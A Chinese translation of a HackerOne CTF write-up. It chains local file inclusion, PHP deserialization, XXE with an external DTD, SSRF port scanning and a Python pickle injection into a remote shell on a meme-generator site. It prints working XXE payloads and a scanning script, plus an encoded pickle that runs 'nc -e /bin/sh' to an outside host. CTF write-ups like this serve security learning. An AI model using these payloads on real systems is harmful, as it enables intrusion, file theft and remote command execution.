Hackerone的一場CTF Writeup
我們從HackerOne的推特中得知這場CTF競賽,並立即行動了起來。這場CTF競賽從推特上一張包含二維碼的圖片開始。
二維碼返回以下資訊:
這些字元看上去很眼熟,因為它們是url編碼的位元組。因此我們在每兩個字元後面加上了一個‘%’。
然後我們用Burpsuite的解碼器對這段字元進行了URL解碼,得到了URL:( ofollow,noindex" target="_blank">https://h1-5411.h1ctf.com ):
緊接著,我們開始瀏覽這個網站:
這是一個建立表情包的網站,你可以選擇一個模板(從一組封閉的影象中),然後製作屬於你的表情包。我們發現一個有趣的頁面,從這裡真正的表情包開始產生:
可以選擇表情包圖片和文字的型別,在頂部和底部編輯關鍵的表情包文字之後,表情包將在底部展現。
從現在開始,每個生成的表情包都展示在”meme.php”頁面上。
我們仔細觀察了一下生成表情包的請求,我們注意到在交換資料(包含表情包引數template)時,響應返回一個JSON,其中包含遠端伺服器上的本地表情包的路徑資訊。
我們認為”template”引數區域可能容易受到本地檔案包含的影響,並且確實如此。我們試圖獲取”/etc/passwd”檔案,想辦法去得到它:
在驗證了漏洞之後,我們嘗試獲取這個網站的原始碼。我們從獲取”index.php”開始:
一旦我們成功的獲取到了index.php檔案,我們就可以遍歷獲取原始碼中引用的每個php檔案,從而導致原始碼幾乎完全被轉儲(未涵蓋的程式碼不會顯示,因為沒有被引用)。
我們開始審查原始碼,”header.php”引起了我們的注意。裡面包含已經註釋了的兩個檔案——匯入和匯出memes的php檔案,看起來它們屬於2.0版本的網站。
我們嘗試去連線它們,發現在網站上可以查閱到:
快速的瀏覽了一下,EXPORT匯出功能返回一個我們表情包的”memeapk”檔案。
我們開啟這個檔案,顯然這個檔案包含php序列化陣列的base64編碼資料。
這立即使我們意識到可能著面臨一個反序列化漏洞。在PHP中,為了反序列化物件,PHP需要熟悉類的資訊——這意味著我們只能序列化原始的或者已經定義的類。
除了熟悉這些類, 我們還需要一個接收器函式 (神奇函式), 它包含我們控制的資料, 並將由系統本地觸發。
在之前提取的”class.php”檔案裡,我們發現3個定義的類:
1. Template 2. Maintenance 3. ConfigFile
Maintenace類被註釋掉並且註釋表明它屬於內部服務。
ConfigFile類是最有意思的一個,因為它包含”_toString”神奇函式,該函式執行”parse”函式,該函式載入外部XML,可能導致XXE漏洞。
我們有了我們想要序列化的類,現在我們必須要找到呼叫序列化方法的位置。我們看到正在序列化的內容是儲存在會話中的memes陣列:
當上傳新的”memepak”檔案時,反序列化階段執行於匯出功能處。這個函式首選確認我們上傳了一個檔案,然後讀取檔案內容,進行base 64 解碼然後傳送到unserialize函式中。
在這種情況下,我們嘗試用反序列化函式來實現XXE。要做到這一點,需要呼叫”_toString”函式。在”memes.php”頁面上,遍歷memes陣列,所以每個meme都被打印出來。列印該項觸發了“_toString”方法,從而觸發了”parse”函式。
為了建立ConfigFile物件的序列化字串,我們將ConfigFile類複製到我們的電腦上,使用我們所需要的引數建立了一個ConfigFile的例項,將其序列化並將其回顯到控制檯:
上圖中的”test.xml”檔案包含一個惡意XXE payload,可以顯示“/etc/passwd”檔案。因此會返回以下字串:
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}
如前所述,“import_memes_2.0.php”檔案接受base 64 編碼的序列化字串,該字串表示php陣列。
我們傳送了包含單個ConfigFile例項的序列化陣列(帶有惡意payload):
成功了!~
預料之中,得到了“/etc/passwd”,所以我們挖到了一個有效的XXE漏洞。
我們現在面臨的問題是將XXE漏洞升級為遠端程式碼執行(RCE)。
我們嘗試了“expect://”模組,但是失敗了。我們回想了在”classes.php”檔案裡提到的maintenance類,註釋裡提到內部服務,所以我們嘗試了SSRF。
簡單起見,我們更改了XXE的payload,以便獲取外部DTD。這將使我們免去更改序列化PHP物件的麻煩,並且只需要我們呼叫”memes.php”來觸發XXE。
新的序列化物件結果是:
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}}
而遠端DTD檔案的結果是:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80/ "><!ENTITY exfil "%data;">
我們首先嚐試了使用payload獲取”localhost:80”,但是沒有任何返回。我們嘗試了其他常見埠但沒有成功。我們寫了一個遍歷整個埠範圍的指令碼,來測試我們是否能得到不同的響應:
import requests
s = '''<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource= http://localhost:80 "><!ENTITY exfil "%data;">'''
for i in range(0,65535):
with open('exfil.dtd', 'w') as f:
f.write(s.replace('80',str(i) ))
print('[-] running ' + str(i))
r = requests.get(' https://h1-5411.h1ctf.com/memes.php ', cookies={'PHPSESSID' : 'ockij83kja86797h54m2r6pso9'} )
with open('results/'+ str(i) + '.html', 'w') as f:
f.write(r.text)
該指令碼導致許多失敗的結果(它們共享相同的檔案大小3575)
終於,我們看到了一個檔案大小不同的檔案。該檔案的埠號為1337:
檔案的內容為:
base 64編碼的內容(請注意debug引數):
我們嘗試通過ssrf訪問 http://localhost:1337/status?debug=true ,並得到了如下返回:
經過base 64 解碼我們得到如下內容:
這些資料看起來像是python序列化物件。
然後我們訪問“ http://localhost:1337/update-status?debug=true&status=on ”然後得到如下返回:
這個返回使我們意識到我們應該對我們的資料進行編碼(因為base 64 編碼依賴於正確的填充)。
我們傳送相同的請求,只編碼”status”引數值並得到如下返回:
我們現在得到了一個不同的錯誤,說明伺服器找不到MARK。此錯誤訊息通常表示伺服器正在嘗試使用python pickle庫取消選區物件。
我們發現如下gist,執行命令來產生pickle序列化python物件: https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
我們用這個gist生成python物件並使用base64進行編碼:
這個序列化物件的內容是:
現在,我們更改了外部DTD以提供序列化物件:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL3NoIGRvLm1hbGxvYy5jby5pbCA4MTkzJwpwMgp0UnAzCi4%3d&debug=true"><!ENTITY exfil "%data;">
然後,我們設定了一個netcat監聽器併發送了請求。一旦XXE被觸發,SSRF就會被觸發,序列化物件被反序列化並且shell產生。現在我們有一個遠端的shell,我們執行”ls”檢視當前目錄內容。我們觀察到”flag.txt”檔案並開啟它,檔案包含的內容如下所示:
*參考來源: HackerOne ,由AngieQ編譯,轉載請註明來自FreeBuf.COM